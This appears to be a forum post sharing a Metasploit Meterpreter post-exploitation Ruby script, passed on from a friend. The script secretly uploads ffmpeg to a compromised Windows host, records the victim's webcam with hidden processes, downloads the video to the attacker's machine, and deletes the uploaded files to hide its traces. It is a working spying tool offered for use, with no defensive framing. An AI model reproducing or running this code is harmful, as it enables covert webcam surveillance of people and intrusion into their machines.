script a friend of mine gave me because i don't do ruby yet. thought i would share it here.
# Webcam Recorder Meterpreter Script
# Recorder idea by Jake Johnstone aka. Sud0x3
session = client
host,port = session.tunnel_peer.split(':')
#Menu-Options
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-t" => [ true, "Time limit in seconds.( 01 to 60 )" ])
def usage
print_line("Webcam Recorder Meterpreter ")
print_line("###################################################")
print_line("Usage: camrecorder -t <time> ")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
#Files to upload to target host
ffmpegexe = File.join(<acronym title="Metasploit Framework">Msf</acronym>::Config.install_root, "data", "upload.exe")
#Function to upload files
def upload(session,file)
location = session.fs.file.expand_path("%TEMP%")
fileontrgt = "#{location}\\upload.exe"
print_status("Uploading Self Extracting Archive ...")
session.fs.file.upload_file("#{fileontrgt}","#{file}")
print_status("Upload Complete ...")
return fileontrgt
end
#Capture video from webcam
def camrec(client,session,time)
location = session.fs.file.expand_path("%TEMP%")
print_status("Extracting ...")
session.sys.process.execute("cmd /c ""#{location}\\upload.exe", nil,{'Hidden' => true,'Channelized' => false})
sleep 5
print_status("Starting Capture of #{time}'s...")
session.sys.process.execute("cmd.exe /c #{location}\\ffmpeg -f vfwcap -r 20 -v 10 -i 0 -t 00:00:#{time} #{location}//output.avi", nil,{'Hidden' => true,'Channelized' => false})
end
#Download Output File
def download(session)
location = session.fs.file.expand_path("%TEMP%")
print_status("Downloading Capture ...")
fileontrgt = "#{location}\\output.avi"
file = "/root#{::File::Separator}capture.avi"
session.fs.file.download_file(file,fileontrgt)
print_status("File Downloaded to #{file}")
end
#Deleting left over files
def delfiles(session)
location = session.fs.file.expand_path("%TEMP%")
print_status("Deleting Left Over Files ...")
print_status("Deleting output.avi ...")
session.sys.process.execute("cmd.exe /c del #{location}\\output.avi", nil, {'Hidden' => true})
print_status("Deleting ffmpeg.exe ...")
session.sys.process.execute("cmd.exe /c del #{location}\\ffmpeg.exe", nil, {'Hidden' => true})
print_status("Deleting upload.exe ...")
session.sys.process.execute("cmd.exe /c del #{location}\\upload.exe", nil, {'Hidden' => true})
print_status("All Files Removed ...")
end
#Menu-Imput
time = 0
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
time = val
when "-h"
usage
end
}
if time != 0
upload(session,ffmpegexe)
camrec(client,session,time)
sleep(time.to_i)
download(session)
delfiles(session)
else
usage
end